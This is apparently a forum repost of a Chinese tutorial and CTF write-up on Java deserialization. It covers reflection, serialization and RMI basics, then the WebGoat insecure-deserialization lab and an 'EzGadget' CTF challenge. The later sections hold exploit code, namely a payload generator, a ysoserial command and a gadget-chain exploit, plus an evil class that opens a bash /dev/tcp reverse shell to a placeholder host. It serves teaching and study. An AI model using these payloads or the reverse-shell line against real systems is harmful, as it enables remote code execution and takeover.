安全矩阵

 找回密码
 立即注册
搜索
查看: 2387|回复: 0

浅析Java反序列化

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-11-19 11:19:19 | 显示全部楼层 |阅读模式
原文链接:浅析Java反序列化

0x00 引言打比赛遇到了,之前学习反序列化的内容时就一直计划着将Java反序列化进行学习总结一下,就是在学习过程中遇到的问题以及一些CTF案例进行总结和记录。
0x01 Java反序列化基础由于学了Java的只是了解代码,并不了解基层的代码执行情况,也就是Java代码如何运行,只有一些浅显的理解。在学习反序列化漏洞前也是对这部分基础进行了多一点的了解。
什么是JMX?JMX(Java Management Extensions),就是Java的管理扩展。用来管理和检测Java程序。
JMX简单架构

管理系统是通过JMX来管理系统中的各种资源的。
JMX有的应用架构有三层
分布层(Distributed layer)包含使管理系统和JMX代理通信的组件
代理层(Agent layer)包括代理和Mbean服务器
指令层(Instrumentation layer)包括代表可管理资源的MBean
PS:MBean:符合JMX规范的Java类
JMX通知是Java对象,通过它可以从MBean和代理向那些注册了接受通知的对象发送通知。对接受事件感兴趣的对象是通知监听器,是实现了javax.management.NotificationListener接口的类
JMX提供了两种机制来为MBean提供监听器以注册来接受通知:
  •         实现javax.management.NotificationBroadcaster接口
  •         继承javax.management.NotificationBroadcasterSupport类

本地Java虚拟机如何运行远程的Java虚拟机的代码Java代码运行时需要有jre,C/C++代码运行是编写好代码后在程序内存中运行,而Java是在特定的Java虚拟机中运行,在虚拟机中运行的好处就是可以跨平台。只需要编译一次,即可在任何存在Java环境的系统中运行jar包。这也就是Java十分方便的一点。
在Java虚拟机中,运行过程如下
先将Java代码编译成字节码(class文件),这是虚拟机能够识别的指令,再由虚拟机内部将字节码翻译成机器码,所以我们只需要有Java字节码,就可以在不同平台的虚拟机中运行。

class文件被jdk所用的HotSpot虚拟机全部加载,将文件中的Java类放置在方法区,最后编译成机器码执行。
Java反射反射:将类的属性和方法映射成相应的类。
获取class类的三种方法
  •         类名.class
  •         对象名.getClass()
  •         Class.forName("需要加载的类名")

使用以上三种方法任意一个来获取特定的类的class类。即这个类对应的字节码
  •         调用class对象的getConstructor(Class<?>... parameterTypes)获取构造方法对象
  •         调用构造方法类Constructor的newInstance(Object.... initargs)方法新建对象
  •         调用Class对象的getMethod(String name, Class<?>... parameterTypes)获取方法对象
            利用类对象创建对象

  1. package com.java.ctf;

  2. import java.lang.reflect.*;

  3. public class CreatObject {
  4.     public static void main(String[] args) throws Exception{
  5.         Class UserClass = Class.forName("test.User");
  6.         Constructor constructor = UserClass.getConstructor(String.class);
  7.         User user = (User) constructor.newInstance("m0re");
  8.         System.out.println(user.getName());
  9.     }
  10. }
复制代码



基础反射(数组的反射)
Java反射的主要组成部分有4个,分别是Class, Field, Constructor, Method

  1. <pre style="padding: 16px;font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 12.75px;line-height: 1.6;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;border-radius: 3px;word-break: normal;overflow-wrap: normal;white-space: pre-wrap;background-color: rgb(247, 247, 247);border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.15);box-sizing: border-box;overflow: auto;"><span style="box-sizing: border-box;color: rgb(32, 74, 135);font-weight: bold;">package</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">com.java.ctf</span><span style="box-sizing: border-box;color: rgb(206, 92, 0);font-weight: bold;">;</span></pre>
  2. public class game {
  3.     public static void main(String[] args){
  4.         int [] a1 = new int[]{1,2,3};
  5.         int [] a2 = new int[5];
  6.         int [][] a3 = new int[2][3];
  7.         System.out.println(a1.getClass() == a2.getClass());//true
  8.         System.out.println(a1.getClass());//class [I
  9.         System.out.println(a3.getClass());//class [[I
  10.         System.out.println(a1.getClass().getSuperclass() == a3.getClass().getSuperclass());//true
  11.         System.out.println(a2.getClass().getSuperclass());//class java.lang.Object

  12.     }
  13. }
复制代码


可以看出,不同的维,class不同,但是父类都是Object
一维数组不能直接转换成Object[]
一个例子
如果使用Java代码来执行系统命令。
  1. package com.java.ctf;

  2. public class game {
  3.     public static void main(String[] args) throws Exception{
  4.         Runtime.getRuntime().exec("notepad.exe");
  5.     }
  6. }
复制代码


执行的命令是打开记事本。
如果使用的idea进行编写代码的话,会发现这里的提示

一般正常的流程应当是,先进行实例化对象,再调用exec()方法。执行系统命令。
Runtime runtime = Runtime.getRuntime();runtime.exec("notepad.exe");这部分的相应的反射代码实际上为
  1. Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);

  2. Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(runtime, "notepad.exe");
复制代码


getMethod("方法名", 方法类型)
invoke(某个对象实例, 传入参数)
第一句获取runtime的实例,方便被invoke调用。
第二句就是调用第一句生成的runtime实例化后的exec()方法
反序列化函数实例分别使用对象输入/输出流来实现序列化和反序列化操作
序列化:ObjectOutputStream类的writeObject(Object obj)方法,将对象序列化成字符串数据。
反序列化:ObjectInputStream类的readObject(Object obj)方法,将字符串数据反序列化长城对象。
与php序列化等操作的原理类似。序列化的原理都为了实现数据的持久化,通过反序列化可以把数据永久的的保存在硬盘上。
利用序列化实现远程通信,即在网络上传递对象的字节序列。
  1. // User.java
  2. package com.java.ctf;

  3. import java.io.Serializable;

  4. public class User implements Serializable{
  5.     private String name;

  6.     public void setName(String name) {
  7.         this.name = name;
  8.     }
  9.     public String getName(){
  10.         return name;
  11.     }
  12.     private void readObject(java.io.ObjectInputStream stream) throws Exception{
  13.         stream.defaultReadObject();
  14.         Runtime.getRuntime().exec("calc.exe");
  15.     }
  16. }

  17. //game.java
  18. package com.java.ctf;

  19. import java.io.*;

  20. public class game {
  21.     public static void main(String[] args) throws Exception{
  22.         User user = new User();
  23.         user.setName("m0re");

  24.         FileOutputStream fout = new FileOutputStream("user.bin");
  25.         // 打开user.bin作为文件
  26.         ObjectOutputStream out = new ObjectOutputStream(fout);
  27.         //打开一个文件输入流
  28.         out.writeObject(user);
  29.         //文件输入序列化数据
  30.         out.close();
  31.         FileInputStream fin = new FileInputStream("user.bin");
  32.         ObjectInputStream in = new ObjectInputStream(fin);
  33.         in.readObject();
  34.         in.close();
  35.         fin.close();
  36.     }
  37. }
复制代码


将User类中Runtime.getRuntime().exec()执行的弹出计算器的命令进行序列化,写入文件user.bin,然后在game.java中读取该文件并使用readObject()方法进行反序列化操作,执行了User中的系统命令,最终成功弹出计算器。

然后看user.bin文件结构
标志是aced0005,经过base64转换之后是rO0AB,这个在后面应用的时候就可以看出来。

序列化版本号和serialVersionUIDJVM通过类名来区分Java类,类名不同的话,就判断不是同一个类,当类名相同时,JVM就会通过序列化版本号来区分Java类,如果序列化版本号相同就是同一个类,不同则为不同的类。
理解:在一个班级中,老师确定一个学生首先是根据学生的姓名来区分,当然无法避免重名的情况,如果重名,则进一步使用学号来区分,学号是唯一的。
在序列化一个对象时,如果没有指定序列化版本号,后期对这个类的源码进行修改并重新编译,会导致修改前后的序列化版本号不一致,因为如果一个类一开始没有指定序列化版本号的话,后面JVM重新指定一版本号给这个类的对象。否则会报错,并抛出异常java.io.InvalidClassException


解决办法:
  •         从一开始就指定好一个版本号给即将序列化的类。
  •         如果忘了指定版本号,那么就永远不要修改这个类,不要重新编译。

  1. public class BadAttributeValueExpException extends Exception   {

  2.     private static final long serialVersionUID = -3105272988410493376L;

  3. }
复制代码


RMI相关RMI(Remote Method Invocation)是远程方法调用
JNDI(Java Naming and Directory Interface),Java命名与目录接口
JNDI中包含许多RMI,类似于JNDI是图书馆的书架,书架上有很多分类的书。这些书就相当于RMI记录。
实现一个RMI服务器
定义好接口(interface)之后,继承了远程调式,
  1. package com.java.ctf;

  2. import java.rmi.Remote;
  3. import java.rmi.RemoteException;

  4. public interface User extends Remote{
  5.     String name(String name) throws RemoteException;
  6.     void sex(String sex) throws RemoteException;
  7.     void nikename(Object secondname) throws RemoteException;
  8. }

  9. package com.java.ctf;


  10. import java.rmi.server.UnicastRemoteObject;
  11. import java.rmi.RemoteException;

  12. public class game extends UnicastRemoteObject implements User {
  13.     public game() throws RemoteException{
  14.         super();
  15.     }
  16.     @Override
  17.     public String name(String name) throws RemoteException{
  18.         return name;
  19.     }
  20.     @Override
  21.     public void sex(String sex) throws RemoteException{
  22.         System.out.println("you are a "+ sex);
  23.     }
  24.     @Override
  25.     public void nikename(Object secondname) throws RemoteException{
  26.         System.out.println("your second name is "+ secondname);
  27.     }
  28. }

  29. package com.java.ctf;

  30. import java.rmi.Naming;
  31. import java.rmi.registry.LocateRegistry;

  32. public class Server {
  33.     public static void main(String[] args) throws Exception{
  34.         String url = "rmi://192.168.88.1:12581/User";
  35.         User user = new game();
  36.         LocateRegistry.createRegistry(12581);
  37.         Naming.bind(url, user);
  38.         System.out.println("the RMI Server is running.....");
  39.     }
  40. }
复制代码


启动服务后,LocateRegistry.createRegistry(12581);在JNDI中注册该端口,启动并监听该端口。

这样就运行起来一个简单的RMI监听器
0x02 Java反序列化的利用webgoat中的反序列化挑战:以下输入框接收序列化对象(字符串)并对其进行反序列化。
rO0ABXQAVklmIHlvdSBkZXNlcmlhbGl6ZSBtZSBkb3duLCBJIHNoYWxsIGJlY29tZSBtb3JlIHBvd2VyZnVsIHRoYW4geW91IGNhbiBwb3NzaWJseSBpbWFnaW5l尝试更改此序列化对象,以便将页面响应延迟 5 秒。
JAVAWEB特征可以作为序列化的标志参考:
一段数据以rO0AB开头,你基本可以确定这串就是JAVA序列化base64加密的数据。
或者如果以aced开头,那么他就是这一段java序列化的16进制。
反编译得到源码,查看BOOT-INF/lib/insecure-deserialization-8.2.2.jar,编码是base64

找它的切入点,也就是反序列化的位置
然后追踪到VulnerableTaskHolder.java的代码中,但是在jd-gui中无法访问,所以就直接去GitHub中找源码,发现了这里,只允许使用ping和sleep函数来让系统进行延时。

自定义一个恶意类,其中写入反弹shell的命令或者按照靶场的指示进行延时5s。
  1. //evil.java

  2. class evil implements Serializable {
  3.     // readObject()
  4.     private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
  5.         in.defaultReadObject();
  6.         try {
  7.             Thread.sleep(5000);
  8.         } catch (InterruptedException e) {
  9.             e.printStackTrace();
  10.         }
  11.     }
  12. }
复制代码


小tips:进行payload生成时,需要先反编译源码,把源码找出来,不管是CTF还是此靶场。
然后生成payload的自建恶意类也需要在这里面创建。不然反序列化出的payload不可用。
  1. package org.dummy.insecure.framework;

  2. import java.io.BufferedReader;
  3. import java.io.IOException;
  4. import java.io.InputStreamReader;
  5. import java.io.ObjectInputStream;
  6. import java.io.Serializable;
  7. import java.time.LocalDateTime;

  8. public class VulnerableTaskHolder implements Serializable {

  9.     private static final long serialVersionUID = 2;

  10.     private String taskName;
  11.     private String taskAction;
  12.     private LocalDateTime requestedExecutionTime;

  13.     public VulnerableTaskHolder(String taskName, String taskAction) {
  14.         super();
  15.         this.taskName = taskName;
  16.         this.taskAction = taskAction;
  17.         this.requestedExecutionTime = LocalDateTime.now();
  18.     }

  19.     @Override
  20.     public String toString() {
  21.         return "org.dummy.insecure.framework.VulnerableTaskHolder [taskName=" + taskName + ", taskAction=" + taskAction + ", requestedExecutionTime="
  22.                 + requestedExecutionTime + "]";
  23.     }

  24.     /**
  25.      * Execute a task when de-serializing a saved or received object.
  26.      * @author stupid develop
  27.      */
  28.     private void readObject( ObjectInputStream stream ) throws Exception {
  29.         //unserialize data so taskName and taskAction are available
  30.         stream.defaultReadObject();

  31.         //do something with the data
  32.         System.out.println("restoring task: "+taskName);
  33.         System.out.println("restoring time: "+requestedExecutionTime);

  34.         if (requestedExecutionTime!=null &&
  35.                 (requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))
  36.                         || requestedExecutionTime.isAfter(LocalDateTime.now()))) {
  37.             //do nothing is the time is not within 10 minutes after the object has been created
  38.             System.out.println(this.toString());
  39.             throw new IllegalArgumentException("outdated");
  40.         }

  41.         //condition is here to prevent you from destroying the goat altogether
  42.         if ((taskAction.startsWith("sleep")||taskAction.startsWith("ping"))
  43.                 && taskAction.length() < 22) {
  44.             System.out.println("about to execute: "+taskAction);
  45.             try {
  46.                 Process p = Runtime.getRuntime().exec(taskAction);
  47.                 BufferedReader in = new BufferedReader(
  48.                         new InputStreamReader(p.getInputStream()));
  49.                 String line = null;
  50.                 while ((line = in.readLine()) != null) {
  51.                     System.out.println(line);
  52.                 }
  53.             } catch (IOException e) {
  54.                 e.printStackTrace();
  55.             }
  56.         }
  57.     }
  58. }
  59. //Main.java
  60. package org.dummy.insecure.framework;

  61. import java.io.ByteArrayOutputStream;
  62. import java.io.ObjectOutputStream;
  63. import java.util.Base64;
  64. // import org.dummy.insecure.framework.VulnerableTaskHolder;

  65. public class Main {
  66.     static public void main(String[] args) {
  67.         try {
  68.             VulnerableTaskHolder go = new VulnerableTaskHolder("sleep", "sleep 5");
  69.             ByteArrayOutputStream bos = new ByteArrayOutputStream();
  70.             ObjectOutputStream oos = new ObjectOutputStream(bos);
  71.             oos.writeObject(go);
  72.             oos.flush();
  73.             byte[] exploit = bos.toByteArray();
  74.             String exp = Base64.getEncoder().encodeToString(exploit);
  75.             System.out.println(exp);
  76.         } catch (Exception e) {

  77.         }
  78.     }
  79. }
复制代码



注意编译时的Java版本问题,这个目前不是很清楚。
运行得出payload。
还可以直接拿shell,利用bash反弹shell
生成payload使用工具ysoserial.jar,这里使用修改版的。
java -jar ysoserial.jar
利用选1,寻找可用payload选2
java -Dhibernate5 -cp hibernate-core-5.4.28.Final.jar;ysoserial.jar ysoserial.GeneratePayload Hibernate1 "calc.exe" > m0re.bin

生成的bin文件,进行base64编码。
  1. #!/usr/bin/python3
  2. # -*- coding:utf-8 -*-
  3. import base64
  4. file = open("m0re.bin","rb")
  5. access = file.read()
  6. payload = base64.b64encode(access)
  7. print(payload)
  8. file.close()
复制代码



版本可能不匹配。
也有运行mvn clean package -DskipTests重新编译ysoserial.jar的。可以参考这个地址
还没有了解,先mark了。后续再看。这个关卡就先pass了。还有题目看呢,编译问题就不涉及太多内容了。
EzGadget因为比赛的时候不会写,Java反序列化一脸懵,所以才来钻研了Java反序列化的基础和简单利用。
直接反编译,审计
  1. public String unser(@RequestParam(name="data", required=true) String data, Model model) throws Exception { byte[] b = Tools.base64Decode(data);
  2.     InputStream inputStream = new ByteArrayInputStream(b);
  3.     ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
  4.     String name = objectInputStream.readUTF();
  5.     int year = objectInputStream.readInt();
  6.     if ((name.equals("gadgets")) && (year == 2021)) {
  7.         objectInputStream.readObject();
  8.     }
复制代码


这是反序列化的点。
其中反序列化前还需要加个验证。
  1. oos.writeUTF("gadgets");
  2. oos.writeInt(2021);
复制代码



toString()函数加载字节码,cc链还没有看,准备下次学习一下java自带的一些类,然后再进行深入了解cc链。
引用大佬的exp
  1. import com.ezgame.ctf.tools.ToStringBean;
  2. import ezgame.ctf.bean.User;


  3. import javax.management.BadAttributeValueExpException;
  4. import java.io.IOException;
  5. import java.io.InputStream;
  6. import java.lang.reflect.Field;

  7. public class exp {
  8.     public static void main(String[] args) throws Exception {
  9.         InputStream inputStream = evil.class.getResourceAsStream("evil.class");
  10.         byte[] bytes = new byte[inputStream.available()];
  11.         inputStream.read(bytes);

  12.         ToStringBean sie =new ToStringBean();
  13.         Field bytecodes = Reflections.getField(sie.getClass(),"ClassByte");
  14.         Reflections.setAccessible(bytecodes);
  15.         Reflections.setFieldValue(sie,"ClassByte",bytes);

  16.         BadAttributeValueExpException exception = new BadAttributeValueExpException("exp");
  17.         Reflections.setFieldValue(exception,"val",sie);
  18.                 String a=Serialize.serialize(exception);
  19.         System.out.print(a);

  20.     }
  21. }
复制代码


加载的话,可以使用反弹shell的。
  1. //evil.jaba
  2. package com.ezgame.ctf.exp;

  3. import java.io.IOException;

  4. public class evil {
  5.     static {
  6.         try{
  7.         Runtime r = Runtime.getRuntime();
  8.         String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/xxx.xxx.xx.xxx/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"};
  9.         Process p = r.exec(cmd);
  10.         p.waitFor();
  11.         }catch (IOException e){
  12.             }
  13.         }
  14.     }
  15. }
复制代码


总结感觉Java的知识不是很好掌握,可能是我太菜了,玩不动Java,没有常用Java,所以理解起来有点难,知识点还是一点一点啃吧。
​​


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 04:26 , Processed in 0.020996 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表